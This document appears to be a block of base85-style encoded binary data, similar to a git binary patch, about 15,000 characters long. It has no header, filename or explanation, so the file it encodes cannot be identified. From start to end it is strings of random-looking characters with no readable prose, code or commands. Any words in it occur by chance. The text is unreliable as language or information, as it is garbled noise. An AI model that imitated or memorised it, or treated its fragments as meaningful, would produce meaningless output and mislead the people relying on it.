zp?Z!S$YtW&mh9rh)xXhF(Ih=omgy`%cW#&yBQ`Lw8SfZN%oBGx4kB3CK-{N_(cuIJ z)mJmvF`o!eo^O`tIjZs_6wx&v43_3B85kHG2uFkw^Gvthr?|Y?-g~>Waf$8?GU*qi zBgsD5sc{t1TRS-vv*Dv$7{ekS%V%9QOE;g}kmho5A~l!8xiRz!ZcHe)^8b8y4|gT}@60LA#hOu^ zD@0DuM`zl;JOg0&+TyOh`iqnpm+~N`%uO#|bue0iQO!bFTYG?-j?b_BCk0f_JBd;* zBw*{@uJV4B%kWm7Y{Jq*s|E;|UzvAuTL9SkeGyjl?LM zfwH=l=hVT`QM5;YS66WrHeZ}+OSO5vD{iCkQChsp#hG0A4}N&1?Pl=ERBqunWJb>E zb_%b=+S6{8+kiTX1(icjQM{x1of+?Jpe|m@tT;v5$?u(;Ub3opZkL9I-*Xg%Nn?uw6rB#ycq1Nt3kCt-I_m^Q$pI$Zd6U3-ulv55IG@49O2!!&seFcd%uVm8GKvgTZxBzogjqYQ&{f=cT$T!~<*%2&<7fGH4bPug z-o?p}(bAf(Wvh_!kna(SWoDbP51}nxT2=XWgJzWzPfN&G`H!Y^;&kuot{vAjadBPR zVN_*LQPXVvR^>7N(1pHm@_a1z4efAlX9e_m>ZC`|Nn<0-dQqk!tg!uVV^S(w*Bq4C z?9mX1Jd*MjkSDsOeD!ho45b1Hio;<}=?&dWn zMvGiIn>sTSJ&DV0{JZ-_540+1yUGW&ynEDJnwxbmN2Q8ZV*FtBZ(8kAq0w;H^ z_k4Y?&nvHX`dy!yVd(kJjkuwW9KY~d%@OslNd#%iabLxY_Vw$6Hg$jp+Iad6fGs+} zXG3#zfP$g}9O*>cOuLRx8$Z48oN}Er8BsvU2UjN>=E)F`Wa5XjPHh- zF7GPvV1P>Sc(%jGDw)H+jA7+qZVNh6g-j4HM2HvZba7)YT{z%-enl_Ohercq#kDYT z*3|ay=+sd4pEdHlf}fagkda!;KBBGcF(>WLEL*aAG2E?wg1z&&{BM`Arm2o-tAj)+ zA%FF|SMq%qb>so_9`|ga6m=B*u@d^B3jvGd^$d?YesKDJ4z@#+}pqJMF|I{dVb z@{+?($H*^dd3Tc+1Afd)tKZVd+OgB*O94EM zR(8!69J%GPMztLrQdL~)f>BML+zocE%mQ@7MY9;7Y3>rCSZ*?XV@!LPf_{jTfk5p@HXs0w*~N) zuBCVt(`H*hezt(Y&H-a%oD1L$7K+o#Bjk>K&K%s6&5a$=AaB(OsTlK;81oZHK5;Ba z9Q}!7AaQWX*5%8kVCN{xVapz^uiZY3rr3AW2RJuY+*D4bmtCCm2jv*Tu}qFZ97A#x zFXkYLboEL@-%%QiL4b>)sFql{Sa#&%(n$9arwIqaqwEjT&Wq%-oc(afxm9ks*tyBZ z$s%d*WYXWGz8Wqe%nz@Ce5?i!(0yaorVz26&W@k&7e@NRrNrqT=?$0h&5rbh!+bO0 za(<`KcJIZvspmHvRg#4n6P`{vlCl0@%L%-_Depbhr+SrD#2tCVzFsQ45-3_ttg`*LbnBwKDYyN1axb!5bK8F}_mFe{LGH!Q{YSZ%IQO4$OJ`$S zr{O)SU-&M5#~w>y+H-*sZ7(bp-XLFBc)dQz__p&ix2ygb+4ynto1T91w_7$HlGATf zW`9L((~e2yQe=i*zhyWKKgSFgu@KB{Hm{)=RIZyX+;9&nH_jGrl?o~!oGsic8&tlo z@ZQEwrOLlk-kC%I_hjFh6%unzmSaXOGUu0_3@9ivAjkb@?mJIUXENZ^PS@SBJVEzd zUNc>5c{9@eW!v9q_woIWk+;ijfNgXWW~2Vmf!*nM(!y0%)47rDf<~M1Tcoj}Z8`9e z-mphs2D`dB9L<=ny?c#jerV6ln;nKL6OY6>T|kJC7C4%@1h3bK9tGo{6Scu(tAd->ZS@x z!Y;*=e1dK2nBj<_#}jUNv>%?1`NVqJN~iJT2QS$P+RX0#jqLpYDLX}I$u4l&2^wbyc~i>7 z`iSqX z`NC0aobWM;%2S9n`{I8v#!MoY$y}0H7mi~HgMVylZG#F?4?jpL#+79>fX1EYz**Y* zew0Sgfym<6>;2F@r1MhZ`=NII{qSY_HGT-+q`fgn(F-zs!#B!*a^IN%nzbF>?@ z2)Rn4*Fg0aX-=cJ@Ee6-T0?~?qa%{a0t*ZkHflVZwKe?ZqCt2aC7QkdAyyUtDSmyv zRuz6|N<#O#7#1X1RAj`SQ+m{qBuJyXTvXY5Cg=1_ zfk?l}nvExigB68x(Uf(4Y16ZzxTJfKCEK`^hoDdzb@_M2Mna9+WbMjxZ`(MY$$AWf z-utOv%G5VLz8rtjYz*r-e+3zOO4n5jXrg*bo2x_ieSUSleJ?9k zA0fhsrf2?fZFxUv-1MC*QKNbuaicF-Myp(cp3)dI@%5I+^5XKRI5$vTZN3GSZ$gdK z4i3;Iil+>^7O7$fs&y$a?d&LrLtjUR41vY^ zbl#4?oVxqObmSOJzYcUTM-1?AxuXGEk&a$rApN>n^U}tRjwjidp^8bRXg%24`(2!AWclk?x2evF9wh4xE_Zqm&1WZ& z&%d?OfQ!$TkzF&Q&LuzN^vk)@^1x1h=scK4qrjeDz_MJ{&zg==!nI_qbI9`}P29Lr zp&Z@oB=#oZSmn*@(U6p>6I<66On+S+J`>v6&QCnnrMEpyqHTZWC-Twbx@Qi>6YBJw zhSmN?#AyjBDC04Ez>V2~8_1o^d1*LKG0dyCQ)K0nDt7{a8_!a@$7TNl69HW#vldQ^pTYBE&}rKvWH=D6C)w&B0-Ju^Z2x&Ck!@GB$(`*H z-T_OG&)cTulMBCoW_WQ`uRU{M5lWYN;Y#qV+%GoO*`RP0UJh3r#Ao?-G{^@oiao25 zW)JAKm(yI@z2kuYT7yK(s$tQiF84uGxcld~pq&rQ%neoew!JX`yrO%^t0 zVveH`Z8fSjk~Lzk=F}QFHX^USNB&}6E$tU0HR!fK<6iw=Ld7PXHE<%s-bT8~=I`N( zxk_@ZEBt8RL|xabF4d^r&j6}$&Z{8Y<($lG5Ic4sTj!e(pD9);6FVFWyQB_hR}+VC zbT$~oBXe{vZkMe~6lu*+H|aG7Xd&XHW3JyoQ4{K4thkf%nxDB||Yt+mmdeY%9NVFTbnNM_;Ft&F~6I+7L z>}&;VqOr;il}K;T$v-CR1`yAshv#3Gc1Ji&Nr9SU)Focmg0^&+ zOJrMKxHZSvmBzucilVh%bB%}8^byxmW$dWM{CNn(GNy!A<#ty>boQ;lIWuDs&fT~U zb?D4+p`mbn!^vskhxpYR%oJ3Q;5VuFC9c{t#y)pZL4B|C8@2H%@YnXg;N8XO>C~ms zY6{q{nS9qD+F_d5?c`phg~WDSw^NSV?@e^@PpJLEcd_!wRo9RQrwMMyqenj<=F7vq z(K}oHE7Q>(vH!Px$B{@A|D*VwEZvt$cZVMq!>uLDW(?&xe)hBy*zIU7VSH6HzH)4a z{vF@&aCHTOXn!ih8=tL3v?0B`naGMft(m1&>Tql+CS@vD6ZtU%oMiF{u#n-s6dkU@ zx+tt`*20c$=4F{5)GSOCD(}SPGNATIokq|y(=X2iX z-6Y|>%_?bSg8G44Gd|*1StRG`3&i%xfw+0{1kozksXkxs>-3wdbL~jCvmc@{>I-o@ zUJJ~gsr9iAdF7QRh`yy^Qfd5}Akp_UFxfP+$lvk~xJ;)#Lk96ecogV{U!)Av-E52b zxD%e1pW!B9%`tC?h@QK@{thcj5tdGH`&*9ka`zqXnJBm#Ie+*a)yL{KD<+P|b#G+3 zjZsDNYti4ud$EGZol2Tn6^THUvEDXXQLJ%3z6H{36fl0j4 zNsu;vJABHuPs+~h+PzIHOPjyez7HhrJ5D|gh%+^LwD{2;RT=Xu2c3;nZ8(LGktVmm zbI+};6BlsE4bv0UEv0<}cR$pXa{|l6`@kW*0G=uLgs+5G<0~i@A!t6@GK--yNYvi)l5%0i&sagMlnUcBN}~0 ziy`W!G4vGIe9Tp%n5+z0`#JkZ-xa?5#Aqa@d|VUBvQ@C-6-^`ra7dt;QXV`OS7G=0 z>Vfd676f*YWm5Lh?PWK3=YAE-Ca>{Ed$Gzeh^sBPD>1H%*88j>m>mn0KQcall$%)3 zU+k#`#;wA9D{v4N@F` zTIC)iAvV^c!iwERn=r>rPc~M4z9o2(eq+7YSmk;( z(hd&9Cwi^{t^WT*)cX=YBYyN%K6)qpvwV|x(&didN!L2=0Wka&Z6D~eMi701(D0M| z;I?-7v~zz(@PFsWtwV!I*@T}{V9Z(KFMHJ~dZu`+6{>fdq6?=(FA{W|iTiV2|971Gu9yMY^iU^oi|UwjfT>G14pd0iRiFE`=(gpp6l*Ud$Lc$9{RYLu zJfbhF4(~HYU+(d`)(IlD(JD^xi`tInt2Q~lkEuQ`?myKJMfSknhBMQPWv=a6TRQST zA-())8>ugao(yI-UdLorUYthGInqM1v6!?g(x?!Ox<=fL{aQJS-a=+nSfnvByEJkd zp|kdD3e83u^k_?{G*%0SKa|k<%ii!WoxA^loOhvu`RB;t$l$8)YV0cM>gB59FxE?O zHnd|MLhRshN-is^;j70owm3E5%`SbajUAgz*k!CIgZgS(Z0ANlR*vC+^J}X^`Pf=Tz42s2 zH!rmo%R*c6jq=@}Kkf2q1}dG%S_XE>mDc;!N6927$V&}!q+eZQ4%Rz+n`7Ls7R|Ab zU;VX3UhG#F8)SivM8S@q(W3EDPuZgKz28&Hze6kEMADv&4WCN^Uc+CWzdCTgtCfAgp0{=0M2zx--9xB&m0+=I^jdAXN3 z_kD7&b?z_7y^nK$P42Ut`&)8f<=j7#`#R@-NbVcVUHyaV9+dNROFf$!{T07;6~^zA9w6fcR{0H{ogs8D<)-rJzvp?o z3ntLKiSYzAc&vx-^;RF3^xsRo{r@HDzfOPfS+%R{J9BlCHR{$1Mm@&Kw3<5?bC&+d zIi5$GaQbcxa$&#BO|8+7@zpib#*=wI)dyXFv<0nsw|L?!o~KXg1V!l@${$s?ggpnLGp^l7Fajez1&+)_i>Pf zdU1`J{hLV zbXW|y)JoBMia*Xs>&+Hv%$=LF6wyjJ$IeH;5WMM|=)HQgTf~v&dD%Plun9Z2pkwG;cYdC z7~6Q!PmQJTJduXe!9T4mXCC|;a)%&DuQr&=*T!-T&ZUrxr2~5(k>fM2qiPNK1rVFD2DIrT>c_fT zvJlid@J#U4KbKg0DjJk5t{G|I2(Jv%cU}ytoVLZF0B#8}6uuFH@i0)8GY{$dF=Xm* zJA*3Mk2UAx3^4WM~dL=RTzg12zwDRoZPgyax`I1;;K9sX9#D~y?G%q z*P9(*nyx&xAIZ+a%Z=o7`4m@Wy9?2IF1+hU-xl$*(KGN{eX`L8oY6*p`csoT2<47a zkvuowNE6#Qskr^9(X5@UgO0DkXX`I@Tf(BAs6v2>io+v1G|ET2EV1Tt4*2poaB9n-kmA-#^X7_8uVZ?{%?J70_+yFX z9S*&1vO-7Wox@*%n=PR^L*bj$=12I0#-z0DV`9u7_(9Ql)eVK$y${r`yOp2X zzw(39#)iQrxL6mw$=I=mO4@JZ%};?@v>#kKHa(?fc)5*Zm&J(2d>!jIOl)E*7E2#K zJ#}!u73^m98M>(#z#G91X3IqTB7o!dmY(+tfHQlZVO(nTygl?g#fy%Qrh~R z0Ljuld^{Nzo{$4NXgprV_e<(8KxW$8AI!kV~dPL{L`|*QKt0v-yo~+T-bFiEd>{4smfzE;G znMA(R{NmZ<5vb_xDp>7RBHu4Vzc_EUblCS-ZVpX!iQxrg5nX77(sgtMy5I)ub$%#? zhmKQ){i4IuAG0OeM`t%UN9_~X{+Q}HZOm5On0L+*?<88)J&e*^=2n-I%I=fYrA=kG z*~(r|PP)pYXo;54LW1Zl6%q>ymON3=DJ#c~4qvUfzG7qb@#HcxK7oGDWynUnb!jW= zT=J{3>&1mVn>5hgDZbOq-$5QNr3vKT70*dP%IQAl% zq&JhjxO`5!a>jWu#xpdxXUdpJy##OIl4P=*cp#?51YWj0n6A8*2xPH|ES%+CCl^%i zY~+)!+|zVB$w2*0D^1o`&HnaIT8I9&l>XKW4}^XEaH&{)5$ZSML;^iTY4?rO23z7p zi4dHs~-fzY=wyqwI<=KDcQ?L zm*MQoM$Z<6wJI?(&maaz{Bo=B#@`($c`g9ADY^O$mhfZBeIap&SBIAqsGIB2834=I z2Hop%pQ#AnR%YvQxu8Ksnig;tp^f<8YmYzLmBeobD1LYaC04KG=Ov;T51LOco+|S2 zbhez%x^+sXoQ|(`7RE4Jcl4=X&A(&#>w>5!w#8AW53fWK=2E$W&Ltsh`kN? zm2vA!fUyB$9_?$)A-iee4;YO6n(H?HXsl{>JyYE!ki+JhgZa@^JsD;vO9bSz>EWuOns$1*d6W!igy~{cRT)G;V)@Op^K+U zp+n*ADw10t-HkX)r^RWRFFQ-BEZ+R+dezUiEcP&8DrP+9y;Q@||5{FM83FY+YWoOi zc-%m~PPRWD8tdP*(a>;+UZ&zZZ(bb49$?c-p+_xdn-TVL#^_Uz;=qXuCVDL zHEsw`6V#NTSQmWeY}O{xS%DTW9_v}*`q3LiRJH4~5?tG77)1)An?%#YrehOWv9pM2 zKcLgMiD?3~i)k~_Q=OB(W$3-J(dK)^?@hDdXEZeB&Xz0T8J|1qS8^M?s|)c)@S7X-Ib~1ncgyTWE4Q|- zUIF5cp?Y0NzTZ^8FuoWs#kw{Gm4k>_4AfM=C#Jkvl{(d%!Ij~o6h75A8Z)L$pD_eH2E4}ZjF&kSGKD;C7q3rq$@T6$+PB8 z@Jv^BB!O!l#y@$gCBzh1ZnRX5S1Gq7QOcJD(es#+QDNNCfaQGnRIOGzCKK*MLJXg5 zJT66Mz6#(k$Db5%rTN9)QgILq!$ZBLdCPh^a(*w_RG&|lTm7tSdXx5w6E_65*qLND zqaub6>lblR>2S^$8YOobB|k?24pH}ptbi9=%&FedN?~JCKw}Xlak4n^30FYrvS#jL zGMBrWWtTO}^xOr!*w|6IpZ`DQ&eCl=i?4XyxAuzNPd(+zg_+&H+;6=7`sehDmnFIF zca3vv9Qaot=$4aqb!$AeWhAF#-{Pj?s`)`hEmYYFGPdAzL4%tH8$oxq2Mui+Y6RWg z9<*%JvPRIo?LouyHx18k1d0J#mY0DsmSNUxmheloO~g8t_g@Z3o7(A4HBV1w_{9^$ zt`RevGOGpx*@ah#Npu62Z+u(-%TxKZsfF0~Oax%}BynK8>xyi&RcnzPfs>}|P6hUL zn>?XX)wtc8x>ahhyP&|CrG9btQX}}faVFdMzUUn`XO4Ey08h?2@}Hbrf9WI|1o0B`F_!WBZc5L z7mx~%B*5gBri`^{hK%(#2DaLpHM+IQSOPm4OJS|^hb4HE612%C0vGFoH)X6}#1rD; zj_JeGg7i-$8_I5HfF|-ZY_fRnXbPsZ&5DcRC&OlK41x|MDJmvns$X!Or_luD3 z1l1noF2m2sT^|sV|JQPtGIDa)V^A`YyY4jtsr*^wE=QmD&0e%}Ym>VKa1Dj1ag^9c zqQ=p3NX}RfzkEk?Yoa%lpn#mQAAE8ckzB_}JE1|n1Nb_@)rCyXa8g1nTWBb7orrup z$rjoQ|E~DcBoYcbI?;Vh`k@Mpi#<+q8X|>+6<2zzNFfXy9_=E<8Ng?V6lV(9s-)B& z)oZ|ms{#4&H3$f<2rX<6${txsK~vsQ;KfCTykAcFTxY|uT+Y`U0{dpN zH^m0fh8gizoX?2IK2&aNx`=czJiO`Bi{p0%ZoFdUf4VWOLS7Fjuko&699uDdIpE7N zo#+J!2!Z`h$X~q*e=e{O2dyJ~8T+N+{g@-J2GF-4;28tCc4(h)cR|0=fvP@P*pmk7 z=o*4oep7~jHC~?)*QJmnpLyw`p9RlnZQ5XnI#1z%U!`pj?jcfNX;IPdwm8LAxr{w# z)m_|h8-INcUN~TiOHSG!Dl(UUUwl-#6jC@D?XQ&Q1Q+Bf8=y=^TaanWWaE)pA&W(n zY6X0Ar6Xdo?0Ryt#}>xRPAu!qnpl>+xsXkyv6a1Gc>ssWqbeE1vdF~8=^C5yTbG$B z45{-tVMt7|Ct*l2|8ImLk4>LM7;=5@1Kxf=@Jtqx{PQ*F^MfYMoctp?#qy83U#`$o z8cJtw>J2I)2RfoHRLSHAjJ5V;xD&tfp{FG-^py_nZi)+1`8k1MFV`#bsZIHmM26H1 zk)hie{QBI~K)2h!;_w0cS6xn77Z)B&4XUT_J=Z(tZaWC%$u6nwpgw&aJY?~s$D6~y z%}-}SEB%X?h{?XG;>P-@CuSdn_n?s<3g5{Pz%#nGi&Q^}c`bIHEN6UdKD2{esqmS! z2+E&Le5_CT-sui4Z_nxLCn&R;e&gd~Zlzm5F)yI`qHnXHt)GZDo|AP%X}QLW+Nl6% zo=F#U&u7w`=~~aEcTP9Q#yVBUuL+5942cOhuFlj%3nT}5O$AWXSq>fq9+sr&qDN0P zT1;!!e^y5P<9*+2Vc5czEBB6{^R+$qy@I`6I5)7BNw|U^Zoj=+oiJNlHQ{ zZe#A}r%TvF6(TzG-$00B_9llH)P5#mq+D)(mITPL*w;o%IF7!O;#;SWO{29r{Ldobt!og1xUses%$Y#TlZ2Ups}E zu(S2yE86I;I}Fyek*`)gA+E<{P)1kL$m}{@Ul=)M@Zxi{zcw8_{NyI=Pd8dyh540x zHEmdHpVy9Ya-dfHIRq}B)Y!Y_y)b8?TE~79pxg=1#~Ii;V|OBUg&*pSOAzVT zfwbjiApM&BbFE9~qPo!P3pH#{#&U)4y{w%U2e;649F>+4*m{(0ym2VZAjW%w=yn+b zgb}2CLF1HKWkbAwxrci;!0`FLEL7nYfL$IGm9T_ zfE)PZMz^^jh}7C{Cb-lM&@+!{Q8ld{Hu3$Tc+Je+yB>8r_>WI?o!OIdC(riIxRYnx zky)-0;6<>@_*}aLF*_}|EA5qiW!g1OVo>>#vb^qv>w>rHkSy}evqTnrW`Awd=rjsrth6&74~d+A6lb^L+1`^BDTw|g z61FLvlw06%?5xju8vA^+?xPuI4>ucH_{}2E8-7lo^Vk2YcK%=sHAcn~@I^0Da8 zB9!OG=gau&-?UNZA*0n_ght!hHKW!2b+yqf+PT6rr|mZh&`|okBH_bV%0amrPxPH? z9Z%j*>5L}~5z)(t=NK^^y-IH5Mwf17oG#cBCm2oiH%qZ~LS&bG6+()Vx(sZDX`Cc` z1MnG2nwtb{QPM~kf`%b}Ph1%{w|N+Nly`9=6aG7WiZSOi9l91;9mR47%uK-|y#aOy zEYF~_5*j(Z!Og&&3V^*GBc16D=C$nYjOR-)fRV3bSi0QE(Yno{KI>NY!n3KZpSg*m zm``gHW!g5!MJ+4)M6Y(Xx8HTmwLK?^ydP`MclB}`8jebf0;`lGNBcpxJ?}B}ln%%= z_ZWJ!ZjV8A%x=nR>CR#QTVb0PZGZeIGgG9m&u5J_H@Hxf5YFNjr0AsxzI=gvH4z9a>r~c{6KAlcEsE zGyuhDyYSSxqrPrCrs(zw_v^NHi8l?qO=;ykE4po$(RubRO}HzRxzb2{4>DI;+;Vv` zSL$;*3a1QE{Qy}})V5{zg2SYNPlCt)2_t<<^CG);& zHtNx%e9+tHd(N#f^B#0;|E)2ivJDb6CG<%y0@3QXQOR6-H7Cv(BBTfH$t>M?TsO2> z%byMu>+cTSeX(Bx$w&A@ap`4-2iNLY*(3{OJu~rfq)=GwxQRou!)Hw#Ke46+V1SD1^j{m8z-^XyjDP@Ba-V( zskOqIe--e}2DF>RHX3Z6e1$z@aA_XA`U!Zol=f{C)OTCE zYp-Dw)OSZ&uT3>=O@*A@&W(4=Ao9y77;%aUsGr@y_b0S#*JfLb&TUNt|L0h7o7Ld( z_a1!)28MIu9Zp?K3)uOm5ApSFf*=ggzvUMTgECd;|~2IC%ro)i_w(K5$oQBGkupISL>!o(PHVChSJ<6#}@6>R-GyLOL+d37?z*J*d z3UPYYA#dbJF9+EfE7N+vP~#;p0H>=jA+xOwqhig%vH5OSskQz@!}LL6+mu7Z8YtKFL*Nc4@GVZz$gj1H+PacyFQ)seat zEM)e&VUedrSz5bJ3eWdDEDSAjWWw(*SyXBP()tFOl*M^Pp%Y~cSdvld7_Xidf zcQGAE32WW4u%K(WDjBf5Lupq2iZSzF*2T%zi$k~RoLFUgv#`F_^=jq)pVdqv;) zPGw*=Q`{}zxIOIhWNTB9UVD|AR(>uXry4JBR3nHO&)CJ87qhpYaV;M+^{-o*ntO)x z8FsnpviN|6j|1;2^3|Ss%obdo6njMfElIqTG@7+D*OM_Q=Qz{7ys-bDTU*cGfS83y zI^Ns<286?9iMM3ZwWH?Ty}{)d;8Oh(13j0W>W8uQ=%;t5zl^_Hk*ek+w5=?`+8C(# zzf}CM#PJW0<9~HV{B<-D`d0C4_+iH%UEH#Cb=RwD&Bq|b*(l}|b!Crnwo{UKwZ9-S zH&s~KJ2%cV*vP)*4F$N%>C;`u*vOk9T?)CX5mLyNmZZAU8!%eBq1ii(Z+E73op5ey z<&Swg%XLx|d1{T=V8KA$=7Rw@OMtuh;uyX^jrrnVRE%Tqc-R|=`GUt~Udc>jBVHk9 zj-RzM$G{i^UBVyB4|e>aHn}jSQ9D)M+Ne;F+Tdu_Mu09T+QcTvl@@j-f3Z^TyX3yzwy=rMT*&zgFCD#Bq-#Zn~ylXIrV)d1Bhakl$?2g!FpD z@_N3%As_LR4Ar{$op>p(?Z(%>l^%((o=)n&(YVtE7dQ6M;W9Q%X7FT!{r{W{?de{2 zj2C3PZ{d0~!mkbY+A8kO-gw2zUorTIH zJ=N4xOwK`e$wp9PoKI@dHqO6kmT}&3E_;UJ+}77{9@3D)_@WkNX2~(L_%+RTf@}RO+?b*jm6Ld)8UPh zE8N9iRBG{*dA=XGS;R=1G{hKY9vt`sVj9YoEU7VB!TF7UIZ6wFDIH3N(sPTeVDQnl9aV_Z7-3sl4gi29s|mq_K+sD=p*1@jNys_MNZ1J4tdY(DkQT5Zr9_36+4`07* z9lnyWE8{KQCz;#knAwTnwdBR|4&`P0B5^LiZ_g!>moi>)nak%=za|lN=6=J5PlaJ=T^VNC)&Y~S7#?PRXQ(z#lA*P<&%QSd9<)Ie0kWwK=qHXJ2o27NaCoz zmQ52tKaX&B+q-yTUwlB=d`a(7D%oFL6Zby6Gorvw;_zKSDy!2 zq}#2VWH^S#AA8Q!G2-t6mn z<6Ng`ks{bjl6qu8Y-k-M++Smw(TL@w_XlVcZ27RJxHR_!(&3NQEWwteD2Ow2%iF4m zMPuQXvBr#v9c*EEox@q(d05%LpTw3!-&CLD%h)JWx5i^fzr(%78yx*^4z%apB%z)C zGJjydu7nmc7RKC;@kF>UmDsK>**edlC&~M5uVcu>Pnx$a7{tP#fg6U{MKy5I+T(eA zHCA(l7P%GO>a}#7%8eRx_a=V;Hwkc83*bEhJa2I`#(e^OuMwm2AkK8iO;@Bb8>-3{cHZA2rDFNS>ZR6{cF(l>cF^nbP2HG@ zped&Y-vKBcT}GruSMK(EfAn(FH?LPVP51f{GeK^6AlgZSKHf4eo!6aD-6H!5ySRSo zuq=ePivWk@yJ7;%ssbiYf39wz2j9mRqvlithQ9_h-h=7V-{2^xiqs&VDsGTkv>S2o zc8(~T-7cNPSaFyeTV=&$@_6T#EK>&8zff1{epirtkH72m1eMAo@K}Lc;J;G-nY4{J zJsD)@F0+I;Egd#+Tooz{E^0~F9jD`EK|_1jnQifkCGBB`-12W zNL$VZ(Vcu5t@|+mYM>qm;#3IG(IEUC#q@X4fSbz0>1_B1d1T?0UvDl4OkJt5XDKE2lP-pn1xzW_a~@l2uZz zTc%(Xqd()vAUoF>?AnmzSPb7uX(KmYQGFNR{%n7Dp+8sJH{YGl-LhG+`g`)(e2<>0 z&+)mNPjrvmIXH>myjbb}^yU>rjTTX6e{bo8e6Q`1^!MfajC%d^$Yb7uxzT$_Sq}5_ zjF=oO%g@dC;S+I;91JJX%$zaO(5z3$lK{QP{>_4A#&-nRpfC8U=` z2-Hv$uUBuHbIz~kEW~SL&kq96<18$E%nk^7mJbPb9hlG{W|JZ#_Ip7vq;uztez{4S zHr~w1O)@wlO@D#Fp3G_veRvsD@uQ*d*?3$J1wjLkm78}Ne_i~Yz~2$XoBsD)+HG>R zGFWQL{J!qtb!-2f$lb%ox(xsxU~3E1u0Z$jF>AkX-xJoN4)G=*r4KZ7IM#sO!{@A} zUwD(e^um5ZPm=$tgBNxWAGnq|jC@wDJxCaQlqlW9hpffg5#Q&pWsLVGcUrpKv~&}3 zy0uF8;yB$g2Hd=s3+dkEl}cB+3|_SL!WsiI&jP%@0eqce9%aC{H-Lu)nFBbz?$IJ=uHNZcJ=HE%YIpO;ZfSv<@=1I4=mz(5t zKMuzB>u26%}9%#O&v2~eu~ zcRne!K4QLS`*&g#U{3f^^F71AliPoD!jGBnB;QV4g-2@wEv@zMc@Z%OX?%!#r z%syehVgF9H8|Q?dG#^(1vTlnte(1VkTb9~-f786sI+yAI_de;&Exp+pQ$x3(MfLnA z#-GMf?(ZeC+BxL)i1M0c?qCDO%^h<%hNl^KmZ^hb<+l_NPXf^=nQlxEjU3n+*9F4W z5c@spMjM!+z>yqvG3g{j%6_XJo6j)YJWNF9HqG=vyO502LHJjE(WgL+bGTf~pxnTT zEOP@BP<#_mxby`H{zzPX|E#Y&NUnMOAj%rGanngBv&_z%wK9U6jKDUSsZ^9+w45dV zi7@^kz9ccDyhB6$A*lG)b?EUr2T*Vl1H-{7aeQ0iGw z2)`-kz|#5q+i(3tUB7Ls#D3cFS$wb>aV^XB@C`Qkvx zA~#pwCtoBZC-FC|c=qp%SheOxoB6JJC7mJ3`l{Bf8-$9p9?TEMS#O}iCgv_GjpP?O zF?T3GIJ3B+xHuvWQ0(}(5n>lPA$DfB!@@U>klU(gl9S9YEIimup(Lzj0uxoJ(Rz0y0tHr}^!rk~=O zu`ih!PXX~UtroQUn{C!(IjCT(Z;4|bn)Z5JPtMq_IkxxTqmrHvlW+Ci@%|;8SfR$Q z-s~`>>^y&bSjCY>y0XCL-oJydZ>O0!A$&c#^kf{q8PaJ0m>TG$N{H9>bG`g7Z808_BkPf3^q+jf?^rQx#k)gdQ@NHBk~!M#2`=(_M_it4SiDXY zTgSoWThNhR?k-?n?qsRJTS(|E;oX~D zMC9DG>HIzqK9wsk@vdH+7%VXh=w^5vTP40(D>n1BSS^VOvyY#=bu!|N7)#kbU^a|p ziuOSofqThMk||bBe7i?ymr{0)4Ec5^$N8M~lS6!a$hH{%h-5mFb*MHdgK$b--d>2k zKgR1|%iO{QRc7rWfR;M^B^{ofJcERXK+@tE8$}AYH*wiv2*Oj8ad;ZP_VR0ry_q@| zU7~&IAET69`yk{R?yf$M7<$yI#XC~_2w|Jw&Da@4%NZ3^mcp01*s(9Do~g7A-+A(} zAK56g5Mh?i&PtLGtL?PkjC^)W(q(Pg7TbJF+7awAZ;ar*hM+FQ%w8;~rYN>~_D$6g zvGlEO5E8MchW;WocC8DkeGE^ujbl0Nf?9n>bvo(wvxMp;-??4!Gq*=1#81^fq%1!Y z7j`*?aoyf>)5E!bO~LjiRCFSZQWw#+a869Bf%zzcO6q;6UF}k1w?BW@)Kz50zrRB!h z3|LW?9;d}CMpqiFK`+LgE^mTy_R|_?gHSBc$^q`awmWEytxhpO+C8VtAf2q2XGz;~ zWO*bN=|cOo9JIF*?xAe=#7ldrn!8RX&6PGU2p^8A`oPzq=HJN%il zvU`2gBHM-UPLW-J=>Gqo20Cjz8x34oI}IGHK?CQdUBnXy%-*K)fp+*o_erMlLtMgU zqIi*jN9Y$iLVw&5I_Ei^@ZGN?^qC!@FX;%qwIlQk9ihMO2%Y!bj+k|X9@i22 z?2gdabcFs}N9gxELNk|l!tCgd(3fp46`e|ZR!8U?J3>Fu5qf_|=-)a* zi&u8SVRc97#*WZhN9a2`Lch@w`eaAw>gRRBY-2}gy(9GYj?nu%LVwv2`cy|~@%f!F zJFp}4gpSZl+M&-$4p`NH#gyQOzvj388_f=^Pu=}VcV=9{JTLs@1aF|M%6U^6Km0AA z2YK=4cYOWf-IfC~lhY&QJ-;7g0Q^%vckzAP~_bgxp*t}=^NNXa%k2>(*1)iur zfP}pLD^7lJDxizPe-IReXL5rqWxvs5tyxg7l$}9#yz({D`n9j~%RYW_LtQQwB9AMH zXb^bN%G(VM0;ygCmWSM}*^dSFR=v9s)RzThkg5;!ap#jZ6W{XYoPB+{LWBBV`t0hN z6U#yNjICc&;Q8U-Xp8y^oSed6l}g{PSbj}_@CmS(mMVSzhVV(ig%A~C$&RaE>2kVi z<>$3FwS?%_a%0!SRr{*o>q35GOwApmyKWcT%`Fe>svmWE3)$*@iu&$ikr^|$M|DvE z3ez4x$fO|z6loA5z!>ThYJL13{@4RRv)YW4xG##~$ye}w;&@3MeOuj0Ii(9Y0s$@T zicbr=+RU=2lX|C4%Y-}a?J7a+e%QH{oXW+o;j3j{_*)C+u|(belBKJ3@Ed3^oa^Z9kJzHf6HuKKG4cgK+7SouOM%2~a-yrZcX=O^;m2mLKI z#6IZGLSb3>XDY*hw!j@C{O6@`b8QDH(R;s$xube0s;;f+f(y8j0JWd=xeN{-T^U`b z3X(d8$4U#OAh_`gQFf4m8Td1q>WDfzH^`SXI*PG~y!P-p2=q;5(jj+a(+_r!xi;L_ zTYiEYiw}uw!YL6>l50Fkc{R$W=_va(l-*R&l{1Ccss>|z?bQUBJGV;^n_+t3WRU6A z!Ms%q0{=Rt4r%OMK6O?0N`?gplw*InI};j?N_mHVl2dms-$TD34Uv&acD;-$ZSRP^ z4gB;k);Q0fBaN%{uVISzum3Z}3L@RBgZxVj=^}VXzm7?y74da3Sn608@%1r88UY94 zP_ktvg@A+H6hovBa1c)WTAU1-I>^mHun-eCTvByIpsQ}#&rQ`W)45%B%W7`AZW+wY z)Rl}GOL&P7`VYvOT^`lduc=z)K7ZRA`G)_XSRjJ)3+#6lmavp-V85%7A(VSyzpJpz zu2KT~UB!h-l@{19CLXNRz<$ld!vx(_wUM=`Z!bSO?Rmvwfq&IU0B%=hmp|`?o;Tb( 